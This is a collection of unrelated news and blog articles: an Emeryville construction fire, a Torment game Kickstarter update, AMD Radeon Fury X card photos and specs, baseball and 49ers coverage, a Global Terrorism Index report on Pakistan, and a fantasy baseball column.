-Fire crews work on still-smoldering debris from Emeryville complex  Firefighters stamped out pockets of burning debris Sunday from the still-smoldering remains of a massive building project in Emeryville gutted by fire.  Neighbors along the 3800 block of San Pablo Avenue stopped to stare at the twisted heap of metal and blackened lumber as investigators began working to determine the cause and origin of the inferno.  “It’s a little scary — fires are dangerous,” Valerie Jackson said as she sipped her morning coffee along a fence near where smoke still billowed from the charred heap.  Still on her mind were several major fires in the East Bay, including a blaze that destroyed the very same construction project in July.  A massive fire broke out at a building on the 3800 block of San Pablo Ave. in Emeryville, Saturday, May 13, 2017. A massive fire broke out at a building on the 3800 block of San Pablo Ave. in Emeryville, Saturday, May 13, 2017. Photo: Jessica S. Oh Photo: Jessica S. Oh Image 1 of / 53 Caption Close Fire crews work on still-smoldering debris from Emeryville complex 1 / 53 Back to Gallery  “It’s crazy,” she said. “It’s almost as if someone didn't want it up.”  The building’s developer seemed to agree and is convinced two fires in less than a year isn’t a coincidence. Investigators, though, will wait until their weeks-long probe is complete before drawing any conclusions about how the fire started.  The fire, which was reported at 4:58 a.m. Saturday, engulfed the $35 million housing and retail development known as the Intersection near Interstate 580 and the Oakland border. It spread to nearby buildings, forcing evacuations and causing additional damage, officials said.  At least 35 residents from 15 units were evacuated from the neighboring block of Adeline Street because officials worried that the partially burned crane at the construction site would collapse. Alameda County Fire Department tweeted early Sunday that crews safely removing the crane overnight under the supervision of agents from the Occupational Safety and Health Administration.  Between 80 and 100 firefighters responded from the Alameda County and Oakland fire departments to battle the huge blaze, with firefighters using cranes to dump water on the fire as black smoke billowed into the sky.  The Oakland Fire Department deployed 15 engines, three trucks and three battalion chiefs, while Alameda County sent four engines, a truck, two battalion chiefs, a fire captain and a public information officer, said Oakland Battalion Chief Zoraida Diaz.  There were no reports of injuries, though some security guards said they suffered some smoke inhalation.  The cause was under investigation, but Rick Holliday of Holliday Development, the company developing the site, said he doesn’t believe that two major fires within 10 months of each other could happen by chance.  “This is obviously arson,” he said, frustrated. “This is an attack on housing.”  Diaz said investigators don’t know yet where the fire originated within the building. When fire crews arrived, the entire building was already engulfed, with each individual floor “fully involved.”  “We don’t know if it was intentional because it’s still under investigation,” she said.  The upscale residential and commercial development is being built in a rapidly changing part of Emeryville.  The neighborhood, just north of Interstate 580, is a mix of retail strip malls, old storefronts and warehouses along San Pablo Avenue and sleek new multistory apartment and condominium buildings erected over the past few years.  To the south and west, the site is flanked by mostly older single-family houses, many of them badly in need of repair.  The fire damaged more than just the construction site on Saturday, with flames jumping to some of the townhomes on nearby Apgar Street.  Orly Zamir, 26, who moved into one of the town houses in January, said her roommate woke up first and ran to get her.  “‘Get up, the building is on fire, we have to run out,’” she said her roommate told her. “I opened my eyes, and all I saw was orange.”  Zamir’s window faced out toward the construction site, and she could feel the heat from the growing flames as they reached toward her home.  “We have a sunroof between our bedrooms, and it was melting,” Zamir said, her voice shaking. “Everything is gone.”  Fire crews had to be sent to other nearby residential areas, as strong winds carried embers blocks away, threatening homes and charring vegetation. On Market Street between 34th and 35th streets, neighbors said embers the size of grapefruits fell from the sky onto buildings, blackening tall trees and covering the area with ash.  Just before 9 a.m. Saturday, the roof of a house near 34th Street caught fire, but firefighters were able to keep the flames from spreading to other homes.  Jie Tang, 56, said through a translator that he woke to the crackling of flying embers. When he looked outside, he saw flames rising from the Intersection project. He watched as an ember fell on the roof of an abandoned house next to his.  “Big fire, embers everywhere, the whole sky,” he said. “Cars moving and all the embers following the cars everywhere. It was so scary.”  Ira Gibson, 40, said he woke to an ember flying into his home on 36th Street, a block from the big fire. He grabbed a hose and started spraying down his backyard and roof.  Firefighters told residents to evacuate and helped escort out some of his neighbors, he said. Other neighbors said firefighters helped douse rooftops and porches with water.  American Red Cross workers were on scene to provide assistance.  The mixed-use project at the intersection of five streets was to include 105 residential units and 21,000 square feet of retail, and was supposed to open this year. But in less than a year, the project has now been hit twice by devastating fires.  On July 6, firefighters battled a blaze at the site that sent dozens fleeing as it spread to at least five nearby homes, an auto shop and cars along San Pablo Avenue. That fire, which caused no injuries, started about 2:45 a.m.  The San Francisco Business Times reported in March that investigators had determined that the first fire was probably caused by youths lighting fireworks on the unfinished fifth floor of the building, which then consisted of wood framing. However, the official cause of that fire is still under investigation. No arrests have been made, but several neighbors shared the developer’s suspicions that the fires were just too similar to be just bad luck.  “It’s the same exact pattern,” said Mike Dyels, 49, who owns a warehouse across the street. “Last time, the crane burned down and then the building. And that happened this time.”  Holliday Development installed 12 security cameras and hired two armed security guards, Rick Holliday said.  The Intersection project was first approved in August 2013. Permits for groundbreaking on the site were issued in June 2015, and construction began soon afterward.  Holliday Development promoted the building’s easy access to transportation, electric car charging stations and other environmentally friendly features.  After the first fire, developers Rick and Nancy Holliday wrote on their website, “While saddened by the fire that scarred the buildings at the corner of 39th and San Pablo, we want to take a moment and express our deep and heartfelt gratitude to all who came to fight the fire and deal with this event.”  They said they were “pained for those who were inconvenienced and suffered losses along with us. ... Focusing forward, Holliday Development has its sights set on putting this tragedy behind us, as best we can, and rapidly rebuilding this project to bring beautiful housing, office space, restaurants and more to the community as soon as possible.”  The last fire set construction back, but they were scheduled to finish in October, Rick Holliday said. He said Saturday’s fire will set development back by at least nine months.  “I don’t know why someone is burning houses down, but they need to stop,” Holliday said. “It’s horrible. We will be fine as developers, but this is just a mess. Words can’t even describe how horrible this is.”  He said as frustrated as he felt, he wasn’t going to let the fires deter the development.  “It won’t stop us from building housing,” Holliday said.  Michael Cabanatuan, Sarah Ravani, Vivian Ho and Evan Sernoffsky are San Francisco Chronicle staff writers. Email: mcabanatuan@sfchronicle.com, sravani@sfchronicle.com, vho@sfchronicle.com, esernoffsky@sfchronicle.com. Twitter: @ctuan, @SarRavani, @VivianHo, @EvanSernoffsky
-Hello everyone,  Thomas here to catch you all up on what's been happening. We were a bit quiet last month, and part of the reason for that is Adam Heine, Colin McComb and I were all at the inXile office for a week of discussions, meetings, and just hanging out. These occasional get-togethers really help us connect and make it easier working together remotely. Plus for Adam and me, it was our first time meeting George Ziets in real life—an awesome bonus! And after a productive day we'd stick around in the office to play one of Jesse's many board games – such as a few interesting games of Avalon where each and every time everyone was convinced Colin was one of the evil guys (I suspect it's the goatee).  A Design Review of one of the Bloom areas. (Clockwise from left: George Ziets, Thomas Beekers, Colin McComb, Steve Dobos, Jesse Farrell, Adam Heine, Kevin Saunders, Matt Findley. Photo by Brian Fargo)  Before we get onto other stuff, I'd like to point you all to our website again, especially if you haven't registered yet (please do!) We're continuing to enhance the site and our backer system, and there's two improvements in particular I want to point out:  First, with thanks to Monte Cook Games, you can now spend your Torment points on a variety of digital and physical Numenera and The Strange pen and paper books, from the Corebook to Sir Arthour's Guide to the Numenera. Opting for these rewards provides you with a coupon code to use at the MCG store, and supports both us and them!  We also added the capability to gift points to other people. If you have enough excess points in your account (the minimum is 500 points, equivalent to $5), you can change these points into a gift code in our system, give this code to a friend and they can claim the points on their own account and use them to select their own rewards! As the holidays are almost here, perhaps spreading a little Torment to your loved ones is just what the season calls for?  New Team Members  Kevin here. Over the last couple months, our highest priority has been ramping up Torment’s new team members and welcoming them over from their duties on Wasteland 2. While both games are single-player RPGs and built in Unity, there are major differences between them in all facets: animation, art, design, programming, sound, visual effects, and even elements of the production process. So while moving ahead creating content, we are taking some time to cross-train, acclimating our team with Numenera and the Torment project, while also infusing Torment with expertise gained throughout the development of Wasteland 2.  While we’re still keeping inXile a small and focused company, we’ve staffed up a bit to better meet the requirements for Torment and our planned future endeavors. Two new environment artists have joined us, and the Torment team. The first is Damien Evans, who actually began his game industry career in Quality Assurance at Interplay, where he was a QA lead on Planescape: Torment. InXile gave Damien his first art-related position many years ago, and we’re thrilled we’ve been able to lure him back with Torment.  After receiving a paintover pass, this 2D render (artist: Damien Evans) will serve as the background for an in-game Scene, where visual effects and possibly 3D props would be added.  The second, Paul Fish, joins us at the end of this month, driven by his love for Planescape: Torment and his excitement about the Numenera setting. Aaron Meyers, Torment’s Lead Artist, had the honor of extending Paul’s first game industry job to him about 7 years ago, and since that time Paul has mostly worked at Obsidian Entertainment, where his efforts included some of the Pillars of Eternity environment art. Although we’ve adjusted some aspects of the environment art pipeline we’ve licensed from the PoE team, enough is the same that Paul will be able to hit the ground running.  If you are interested in more details related to our production, you might check out our official Torment forums. One of our environment artists, Jon Gwyn, and Josh Jertberg, our Lead Animator, both have threads there in which they discuss and occasionally give updates on those aspects of the game.  Alpha Systems Test  Early-ish next year, we intend to have the first alpha systems test (AST). These are not exactly a common part of current game development, so I wanted to explain them a bit. Each AST will be a very limited build (version of the game) that highlights particular elements and is released to our alpha systems testers for their feedback. For example, the first one will likely focus on the Conversation UI. It won’t include any actual game world or characters. What it will have is a reasonably complete implementation of the Conversation UI, along with a single conversation that will be fairly involved, but still only take a couple minutes to play through.  The ASTs will hopefully be interesting for the testers, but they are by no means game demos or beta tests. To be blunt, these ASTs are for the benefit of the game, not those who play it. Alpha systems testers should expect them to be be ugly (or, more accurately, bland), with clearly placeholder graphics for anything that’s not central to the AST. (For example, the Conversation UI AST will have candidate final art for that interface, since its aesthetics contribute to the overall conversation gameplay experience.) They may have some bugs, though in general we're looking more for the alpha systems testers to be providing feedback, not finding bugs.  Because of the development goals of the ASTs, we’re not planning to announce them in advance – while we have our own internal deadlines for these things, I don’t want the team to feel compelled to make compromises to meet publicly announced expectations or deadlines. I want the ASTs to be whatever they should be, whenever they should be, as will be best for Torment. Also, while we’ll be mentioning the ASTs a bit in these Kickstarter Updates, we will generally communicate more about them through Tumblr and directly to the eligible backers (i.e., those whose tier included AST access (Artifact Collector and higher Tiers), or who chose it as an add-on).  Kevin out.  Adam here! For once, I'm going to tell you about something other than game mechanics: the history of the Oasis of M'ra Jolios.  Well, not the whole history. The underwater city of M'ra Jolios has existed since the beginning of recorded time, and possibly much longer than that—but no one knows who built it or why.  It is home to the Ghibra Ny'kul, the collective name for a variety of water-breathing races from all over the Ninth World. The Ghibra believe M'ra Jolios was created by their god, and that they were placed in the Ninth World to bring "water and life" to the Ninth World. It was this worldview that guided their meeting with the first Jerboans hundreds of years ago.  Concept art of the Ghibra (artist: Rebecca On)  The Jerboans were (and mostly still are) humans, refugees from the surrounding lands. The Tabaht still held sway in much of that region, enslaving some and driving many from their homes. Hundreds crossed the mountains into a vast desert valley with a sparkling dome at its center (its exact center, by the way, which is a point of interest among those who study M'ra Jolios). Thinking it to be an oasis, and having nowhere else to turn, these refugees hazarded the enormous wasteland in hopes of a safe haven.  Most of these migrants were never heard from again. The wasteland surrounding M'ra Jolios is called the Lost Sea for a reason. It's more than just an enormous desert; ripples in space-time make it nearly impossible to traverse. You could walk in a straight line for weeks on end and find that you were still exactly where you started. Or you might end up on the other side of the valley without ever having gone near M'ra Jolios. Or you could wake up every morning in a different place than where you slept, never able to escape even if you went back the way you came. But with the right numenera (or a lot of luck), people could sometimes get through. That's how the first Jerboans arrived at M'ra Jolios.  Some say the Ghibra greeted the weary travelers and helped them establish the air-breather town outside the Oasis. Others say a man, who somehow lived among the Ghibra, welcomed the refugees and helped them survive with the aid of the Oasis. Still others suggest the founding Jerboans themselves taught the Ghibra about the world outside their bubble and proposed an alliance.  Regardless, the two towns—Jerboa and M'ra Jolios—have grown together for centuries. More refugees from other conflicts and disasters have come to Jerboa Town since, growing Jerboa’s population much faster than M'ra Jolios, and as different methods have been found to safely traverse the Lost Sea, they have attracted a strong tourist trade. M'ra Jolios has grown more slowly, protecting their culture by controlling traffic into their environment. They also provide Jerboa with potable water, without which, the Jerboans would perish.  Today, most Jerboans view their relationship with the Oasis as a symbiotic one. The Ghibra give the Jerboans the means to survive—literally giving them water and life—but the Jerboans bring significant trade and tourism to the Oasis, making the Ghibra exceedingly wealthy. Many in M'ra Jolios agree that their relationship is mutually beneficial, and though the Ghibra are leery about giving Jerboans permanent access to their waters, they have come to Jerboa's defense on more than one occasion over the centuries.  But as the Jerboans bring more and more attention to the Oasis, the air-breathers are becoming increasingly discontent with being forced to live outside in the hot desert, allowed to enter the Oasis only with a guide holding their hand. The Ghibra are mixed in response to this, and there are rumors the Oasis hides an éminence grise, a shadowy figure who works behind the scenes to maintain M'ra Jolios's seclusion for his own purposes.  The tranquility of this desert paradise is wavering, and in the brewing storms are opportunities for the daring (or devious) to exploit the conflict for their benefit.  Denizens of the Oasis (artist: Rebecca On)  Adam out.  Visual Effects Artist Sought  Thus far, our Kickstarter Updates have helped us discover two great talents (Jason Dora, our web programmer and the mastermind behind the new backer site; and Nathan Fabian of Longshot Studios, who is a contract programmer responsible for the lion’s share of the Conversation UI implementation) and so we’re reaching out to you all yet again. We seek a mid- or senior-level (Tier 3+ ;) ) visual effects artist to aid Charlie Bloomer, Torment’s Art Director and Lead VFX Artist, and Jon Sanders, a talented but fledgling VFX artist, in helping Torment look spectacular. If you, or someone you know, is interested and qualified, please check out the full description on our jobs page. (An underwater city like the Oasis of M’ra Jolios isn’t going to make itself, after all!)  Our Good Friends  Our friends at Monte Cook Games are doing a one-time exclusive Numenera boxed set edition only available by backing this Kickstarter, with just a few days to go. It's been a huge success and the amount of support is allowing them to put a bunch of extras into the boxed sets. Well worth it for the collectors amongst you!  inXile is very happy to support Patrick Rothfuss and Worldbuilders in raising money for charity by offering copies of Wasteland 2 as one of the item's for offer on Pat's Tinker's Packs site. You can read Pat's thoughts on this on his blog, particularly this post. We're over $500,000 raised for charity, with all profits of these sales going to Worldbuilders charities, so let's keep it rolling!  And finally, one of our writers, Brian Mitsoda, with his team at DoubleBear, recently released their own cRPG title: Dead State. One of the early successful Kickstarters, Dead State is a zombie apocalypse survival game with strategic turn-based combat and base-building mechanics -- the game is very story-driven and is not your typical zombie fare. Our congratulations go to Brian and his team! You can check it out on Steam or GOG.com.  Thomas Beekers  Line Producer
-The AMD Radeon Fury X powered by Fiji XT has just smiled to the camera for one more time ahead of its launch next week. Yesterday we managed to confirm the specifications for AMD’s upcoming “ultra-enthusiast” Fury line of graphics cards. The AMD Radeon Fury X and Radeon Fury powered by AMD’s largest, most powerful and most advanced GPU to date code named Fiji.  At this point we know pretty much everything about the upcoming arrivals from the red team. Needless to say these newcomers will be AMD’s fastest graphics chips to date. The Fiji GPU, both the XT and Pro variants, form the foundation of AMD’s new ultra enthusiast “Fury” brand. There are several reasons as to why AMD decided to resurrect the “Fury” brand name with Fiji. Chief among which is that with Fiji AMD will be introducing the world’s first GPU featuring 3D stacked High Bandwidth Memory, otherwise known as HBM. Another reason is the sheer performance of the chip, which AMD has proclaimed to be the fastest in the world. To crown these achievements AMD decided that a simple numerical product name will not do this chip justice and thus they brought back Fury.  More AMD Radeon Fury X Pictures – Liquid Cooling, Backplate And Red LED Lit Radeon Logo  Today we’re sharing with you a few more photos of Fury showing off the back of the card as well as the led lit Radeon logo and the liquid cooling unit designed by Asetek. Something which we have exclusively pointed out many moons ago.  In the photo above we ca see an illuminated red “Radeon” which is engraved into a metal plate. Slightly above that there’s a dual BIOS switch. Which can come in handy whilst overclocking or when flashing the BIOS.  The length of the card is 19cm or 7.5inches and in terms of width the card is a dual-slot design but will occupy slightly less than two PCIe slots. Finally the card is rated at a 300W TDP as we had disclosed yesterday and is powered by two 8pin PCIE power connectors.  The compact design of the card can be better appreciated in the photo above. We can also see on the left side the opening where the tubing as well as the pump and fan wires come out. If we look at the PCIE x16 connector we can also tell that the PCB is matte black, which would look quite sharp on its own even without a backplate. Despite that AMD decided to go ahead and include a full clean black backplate anyway, which I think many gamers will appreciate.  In this image we can appreciate the compact design even better. We can also see that he radiator is actually of standard thickness. Included with the radiator is a Scythe Gentle Typhoon fan. One of the absolute best radiator fans both in terms of static pressure and noise. In this picture we can also see that the tubing has been sleeved to look like power supply cabling. Which should allow the tubing to blend in with the rest of the system’s interior. Adding to that clean homogeneous look with the card is installed.  You can check out the full specs of Fury X and Fury here and the estimated performance of Fury X here.  WCCFTech AMD Radeon R9 Fury X2 AMD Radeon R9 Fury X AMD Radeon R9 Nano AMD Radeon R9 Fury AMD Radeon R9 290X GPU Fiji XT x 2 Fiji XT Fiji XT Fiji Pro Hawaii XT Stream Processors 8192 4096 4096 3584 2816 GCN Compute Units 128 64 64 56 44 Render Output Units 128 64 64 64 64 Texture Mapping Units 512 256 256 224 176 GPU Frequency TBA Up to 1050Mhz Up to 1000 MHz Up to 1000 MHz 1000Mhz Memory 8GB HBM (4 GB Per Chip) 4GB HBM 4GB HBM 4GB HBM 4GB GDDR5 Memory Interface 4096-bit x 2 4096bit 4096bit 4096bit 512bit Memory Frequency 500Mhz 500Mhz 500 MHz 500Mhz 1250Mhz Effective Memory Speed 1Gbps 1Gbps 1Gbps 1Gbps 5Gbps Memory Bandwidth 1024 GB/s 512GB/s 512GB/s 512GB/s 320GB/s Cooling Liquid Liquid, 120mm Radiator Air, Single Fan. Custom AIB Solutions Later Air, Custom AIB Solutions Air, Single Blower Fan Performance (SPFP) 17.2 TFLOPS 8.6 TFLOPS 8.19 TFLOPS 7.2 TFLOPS 5.6 TFLOPS TDP TBA 275W 175W 275W 250W Power Connectors Dual 8-Pin Dual 8-Pin 8-Pin Dual 8-Pin 6+8 Pin GFLOPS/Watt TBA 31.3 47.1 26.2 19.3 New Prices TBA $649 $499 $549 $299 (Retail) Launch Date Early 2016 24th June 2015 7th September 2015 10th July 2015 24th October 2013
-Jason Giambi will be 43 years-old next season and he has not been a full-time player since he left the Yankees following the 2008 campaign. But, unlike so many younger guys (and unlike a lot of better hitters) Giambi will not have to search around for a roster spot next spring. Indeed, on Monday both Indians general manager Chris Antonetti and manager Terry Francona said they’d love to have him back:  “We would like to continue our relationship with ‘G’ probably as long as he would like to,” Francona said Monday . . . If Giambi for whatever reason does decide to hang it up, Antonetti stated he will have a spot to come back and be a part of the Indians in a coaching capacity. “If Jason, once he gets to that point where he no longer wants to play we’d love to have him with this organization,” Antonetti said.  Antonetti added, though, that he knows Giambi wants to play and that that’s fine with him.  Even last spring, when he was new to the Indians, you could tell that Terry Francona and the coaching staff loved having Giambi around. Francona and Nick Swisher both told me when I visited Indians camp that Giambi was like having another coach around. A coach who could, on occasion, hit walkoff home runs in the midst of a pennant race. Not a bad combo.  Of course that doesn’t mean that Giambi is the wisest use of a roster spot purely in terms of production. Despite his occasional heroics he hit just .183/.282/.371 in 216 plate appearances. That wouldn’t fly with most players, but it would seem that what Giambi brings in terms of mentorship, veteran presence and those sorts of things continue to make him valuable in the eyes of Antonetti and Francona. Their team, their call.  But whatever his merits, I continue to marvel at Giambi’s late career. It’s so rare to see guys who were once MVP-caliber players transform into role players — very narrow role players — as thoroughly as Giambi has. If he plays next year it will be his seventh as a bench bat/DH type in what will by then be a 20-year major league career. Who else has done that?  He obviously doesn’t need the money. And nothing he is doing now is going to lead to much more than fleeting fame or glory as a ballplayer (those days have passed). He’s just doing it, it seems, because he loves (and maybe needs) baseball. And because everyone around him values him and wants him around too. And there’s something fantastic about that.
-ISLAMABAD: Pakistan recor-ded a substantial decrease in terrorist activities last year, with 45 per cent fewer attacks and 38pc fewer deaths reported in the year than in the previous year, according to the report of the ‘Global Terrorism Index (GTI) 2016’.  This is the second consecutive year in which Pakistan has seen reduction in terrorist activities. Terrorism in the country is now at its lowest level since 2006, says the report released by the US-based Institute for Economics and Peace, an independent think-tank.  The GTI is based on data from the Global Terrorism Database which is collected and collated by the National Consortium for the Study of Terrorism and Responses to Terrorism, a department of the Homeland Security Centre of Excellence led by the University of Maryland.  Pakistan had the third largest decline in deaths. There were 677 fewer deaths in Pakistan. As a result, Pakistan had the lowest number of deaths from terrorism since 2008, said the report released on Thursday.  The reduction in deaths from terrorism is in part explained by Zarb-i-Azb military operation being carried out by Pakistan Army. The operation focused on removing militant safe havens in North Waziristan.  Pakistan continued to see decline in its levels of terrorism due to infighting within the largest active group, the Tehreek-i-Taliban Pakistan (TTP), as well as to the operations of the army in the Federally Administered Tribal Areas.  Although the TTP reduced the number of attacks in Pakistan, it was still responsible for the most attacks, according to the report. In 2015 the group was responsible for 36pc of the deaths, totalling 240 people. This was down from 59pc of the deaths, totalling 544, in 2014, representing a sharp year-on-year reduction.  Although the number of attacks declined, terrorist activities was spreading across the country. It moved from the border region with Afghanistan to many other parts of the country, especially the Punjab province in the east which is the most populated area of Pakistan. A total of 429 cities experienced terrorist attacks in 2015, up from 17 in 2000. This may create a much more difficult situation for the Pakistani government in the coming years.  The Global Terrorism Index said that 76 countries improved their GTI scores compared to 53 countries where they worsened; the overall global GTI score declined by 6pc since the previous year as many moderately affected countries experienced record levels of terrorism. The year 2015 saw the total number of deaths decrease by 10pc, the first decline since 2010.  The year 2015 appeared to be a plateau year for terrorism, reversing the steep increasing trend of the three prior years. As the number of deaths decreased by 10pc, after an 80pc increase in 2014, the number of countries suffering more than 250 deaths decreased by one, down to 16 countries.  At least six countries saw very significant deterioration in their GTI scores in 2015, leading to large rank changes from the previous year. This accounted for the overall deterioration in the global GTI score of 6pc as these falls outweighed the substantial gains in Nigeria and Iraq. These countries included France, Turkey, Saudi Arabia, Kuwait, Tunisia and Burundi.  The five countries at the top of the GTI — Iraq, Afghanistan, Nigeria, Pakistan and Syria — accounted for 72pc of all deaths from terrorism in 2015. This was despite the fact that Iraq, Nigeria and Pakistan all had at least a 30pc decline from 2014. Afghanistan, on the other hand, had an increase in deaths of 18pc.  Except for Pakistan, in each of these countries there was a prominent group which was responsible for the majority of deaths.  The global economic impact of terrorism in 2015 was broadly comparable to the previous year, costing the global economy $89.6 billion. This amount was only 1pc of the total global economic impact of violence which reached $13.6 trillion in 2015. Only in situations of intense terrorist activity like Iraq were the costs of terrorism very significant. The cost of terrorism to the Iraqi economy was equivalent to 17pc of its GDP in 2015.  Published in Dawn November 20th, 2016
-The 49ers practice Monday for the first time since their exhibition-opening, 27-17 win at Kansas City on Friday. Here are the top three things to watch:  1. Jimmie Ward’s status: After straining a hamstring 18 days ago in a conditioning test, projected starting safety Jimmie Ward is expected to start practicing this week. But first he must pass a series of tests, and according to Monday’s injury report, he remains on the physically unable to perform list.  “If we don’t feel 100-percent great about it, we’re not going to risk Jimmie getting out there and re-injuring it, setting him back,” Kyle Shanahan said. “If we don’t get a 110-percent positive report, then we’ll just push it another few days.” Like our San Francisco 49ers Facebook page for more 49ers news, commentary and conversation.  Ward transitioned in the offseason program to the free safety “eraser” role, having played cornerback last season and nickel back his first two years. Jaquiski Tartt did not play Friday because of a rib issue, and the 49ers started rookie Lorenzo Jerome at free safety.  Others not practicing Monday: defensive tlinemen DeForest Buckner (ankle) and Ronald Blair (groin); safety Chanceller James (knee), wide receiver Aaron Burbridge (hamstring), lineackers Jayson DiManche (hamstring) and Donavin Newsom (concussion).  Limited Monday are cornerback Dontae Johnson (concussion; no contact), tight end George Kittle (hamstring) and linebacker Brock Coyle (rib).  2. Rookie receiver’s momentum: Kendrick Bourne helped his case to seize an unlikely roster spot with his showing Friday. Bourne admitted afterward he hasn’t had a sharp training camp trying to learn the system, having missed all but the final day of the offseason program because it conflicted with Eastern Washington’s academic calendar.  “I was definitely kind of struggling and messing up routes during camp. Mike was kind of not trusting me,” Bourne said of receivers coach Mike LaFleur. “There was stuff I couldn’t remember. I was busting routes.” For complete 49ers coverage follow us on Flipboard.  Bourne had four receptions for 88 yard, and he tied the score at 17 with a 46-yard touchdown catch and ensuing two-point conversion on C.J. Beathard’s fade to the right side. (Yes, a right-side fade finally came through in the clutch, when the stakes weren’t quite as high as the Super Bowl.)  “I was locked in and ready to go,” Bourne said. “I studied real hard because I knew I’d be in the game, so I didn’t want to make mistakes today. That’s what practice is for, to make mistakes.”  Bourne’s 6-foot-1 frame makes him one of the team’s taller targets, so he’ll have to repeatedly prove that on a corps likely to include Pierre Garçon, Marquise Goodwin, Jeremy Kerley, Aldrick Robinson and Trent Taylor. Is there room for a sixth wide receiver?  Related Articles Will 49ers franchise tag of Robbie Gould thwart Bears pursuit?  Raiders will return to Coliseum — and everybody ends up looking bad  49ers player joins No One Eats Alone Day at San Jose school  Will Kaepernick settlement with NFL officially end his career?  Decision reached in collusion grievance brought by Colin Kaepernick and Eric Reid against the NFL 3. Details and discipline: Drawing 21 penalties – 17 were accepted – is an astounding amount. Illegal formation and false start issues are most troubling. Shanahan said: “We definitely got the attention of our players now and I would be surprised if you guys saw the same thing next week.”  Competition will intensify this week as the Denver Broncos arrive for joint practices Wednesday and Thursday in advance of Saturday’s exhibition.
-Rookies are always tricky to evaluate because they can look great one week and then completely fall apart the next. With some big name call-ups sticking around, what can we make of their initial success? More importantly, we need to figure out if these players are best used as keepers or trade bait.  Scouting players who may be undervalued and re-assessing players who may be overvalued is a weekly exercise that you should pursue. Fortunately, I have you covered. Here are a few players who are good buy or sell candidates based on their current performance compared to ownership levels. This could mean scooping them off waivers if possible or actively seeking a trade to acquire or discard certain players in order to maximize value.  I will include one player at each key position group (Infield, Outfield, Pitcher). Ownership levels are taken from Yahoo! Fantasy Sports.  All you early birds can get a full-season MLB Premium Pass. Our Draft Kit, In-Season tools and over 200 days of Premium DFS. Sign Up Now!  Underrated Players - Week 9  Ian Happ (2B/OF, CHC) - 42% owned  Happ was thought to only stick around for a couple of days while the Cubs sorted out injuries in their infield, but low and behold he's still here. He owns a slash line of .268/.375/.561 with two home runs and five RBI in 41 at-bats. The 33.3% K% is a bit concerning, but his minor league averages are a full 10 points lower so the strikeouts should reduce with time and experience. He has shown a good eye by walking 14.6% of the time.  Happ is in a great situation to drive in and score runs in the Chicago lineup, but the most encouraging thing is that he's been batting fourth or fifth nearly every game. We're not talking about a rookie who is filling a void in the eighth spot for a team lacking better options. Happ has a legit opportunity to stick in the most favorable of positions for fantasy opportunity. He needs to be owned in the majority of mixed leagues by now.  Gregory Polanco (OF, PIT) - 80% owned  Giving up on a young, budding star two months into the season isn't a wise thing to do. I've seen people selling low and even dropping Polanco in competitive leagues out of sheer frustration. It's downright shocking to think that someone who was a consensus top-20 outfielder worth a fifth or sixth round pick this year isn't even owned in 1/5 of leagues right now.  Polanco came off the 10-day DL in the minimum allotted time and then smacked a home run in his first game back on Friday. He's not a 40-HR talent, nor is he necessarily a 20/20 guy, but if he stays healthy the rest of the way, you should be looking at 20+ homers, 80+ RBI and double-digit steals easily. If someone in your league is willing to part ways cheaply, then strike now before he starts heating up.  Jose Berrios (SP, MIN) - 80% owned  How can a player who was the hottest waiver add of the last two weeks be underrated? Berrios went from a virtually non-existent ownership level (outside of a few deep keeper leagues) to being owned in as many leagues as Gregory Polanco. Three wins in three games and 22 strikeouts in 21 2/3 innings will do that. Berrios was a hot name last year around this time too, but it didn't go over nearly as well with an atrocious 8.04 ERA and 5.4 BB/9 over 14 starts.  This time it looks like he's figured things out and last year's line in the majors is a major outlier in his profile, as he traditionally walks less than the league average. This might be a good time to swing a deal for Berrios because he gave up three homers in his last start against Baltimore. Other owners might think to sell high before he invariably implodes, but that doesn't seem likely to happen.  Overrated Players - Week 9  Trevor Story (SS, COL) - 91% owned  This might come back to bite me, as it did last preseason when I predicted Trevor Story would be a spring training wonder only... Story came off the DL and homered in his second game back on Thursday, which was a huge relief for his disgruntled owners. The buy-low window on Story is closed now that he's back on the field, but in my opinion he isn't worth buying at all.  We know he's going to strike out a ton (32.2% K% with Colorado) but we're perfectly fine with that if he's mashing 30 home runs. The problem is that he's still hitting .190 on the year and must prove he can get up to speed with his averages to compete with the likes of Francisco Lindor, Carlos Correa, or Corey Seager. If I'm looking for an elite SS that I'd have to pay a pretty penny for in a money league, I'll take any of those three first.  Jose Bautista (OF, TOR) - 93% owned  Are we finally seeing the return of Joey Bats? Bautista went deep again on Saturday, giving him nine on the season. He's approaching the top-10 HR rank among outfielders, but his average still sits at .237. Bautista may have a good run coming, but when it's all said and done he will probably still finish with disappointing totals.  We can't ignore the fact that his strikeout rate has risen the last three season, up to 24.9% this year. If anything, he's actually bound for a dip in his .284 BABIP that's 17 points higher than his career mark, so the AVG could get worse. Finally, his 31.5% hard contact rate is also down, which is never a good sign for a slugger. If you already own him, you probably won't get enough return on value to flip him unless there's still someone out there that believes he will return to the glory days at age 36.  Masahiro Tanaka (SP, NYY) - 94% owned  I'm giving up. Tanaka should have been one of the safest, most predictable SP picks in 2017 drafts. Some reputable baseball analysts in the national media even made him their preseason Cy Young pick. It took one Opening Day start to squash those dreams, as he lasted just 2 2/3 innings, allowing two home runs against the not-so-vaunted Tampa Bay lineup. It simply hasn't gotten better ever since then.  Other than a complete game gem against the Red Sox, Tanaka has been getting pounded. Just in the last two weeks, he gave up six runs to Houston and then eight to his new nemesis Tampa. A 3.87 SIERA suggests Tanaka is pitching far better than his ratios look and his plate discipline stats don't look much different than the last couple of years. The problem that won't go away is the long ball. Tanaka has given up 13 HR this season and he plays in one of the most hitter-friendly parks, just three-hundredths of a point behind Chase Field in ballpark factor for home runs. For a pitcher who doesn't strike out a ton of batters, there may not be enough upside to chase if he is going to keep walking hitters at a higher rate and letting the ball leave the yard. Don't give up on him completely if you already own him, but don't go chasing him in the trade market either.  More Risers and Fallers  Premium Tools & DFS Research  Get a free trial of our powerful MLB Premium Tools. Our famous DFS Optimizer & Lineup Generator, daily Matchup Ratings, expert DFS Lineups/Cheat Sheets, and more.  Sign Up Now!
